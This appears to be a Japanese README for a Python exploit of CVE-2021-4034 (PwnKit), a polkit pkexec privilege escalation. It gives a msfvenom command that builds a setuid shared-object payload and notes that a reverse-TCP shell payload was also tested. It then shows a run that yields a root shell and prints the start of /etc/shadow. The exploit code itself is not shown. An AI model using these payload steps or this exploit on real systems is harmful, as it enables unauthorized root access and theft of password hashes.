Python3コードでCVE-2021-4034 (PWNKIT)を悪用します。これは「これをPythonで動かせるか？」という演習であり、堅牢なエクスプロイトを意図したものではありません。私の環境では動作しますが、おそらくバグがあります。

デフォルトのペイロードはmsfvenomから生成されたrootとしてのシェルを起動します:

msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64

linux/x64/shell_reverse_tcpもテスト済みです。msfvenomにPrependSetuid=true引数を含めるようにしてください。そうしないと、rootではなくユーザーとしてのシェルしか取得できません。

このコードはblastyから流用したもので、オリジナルはこちらで入手できます。

$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#

CVE-2021-4034

人気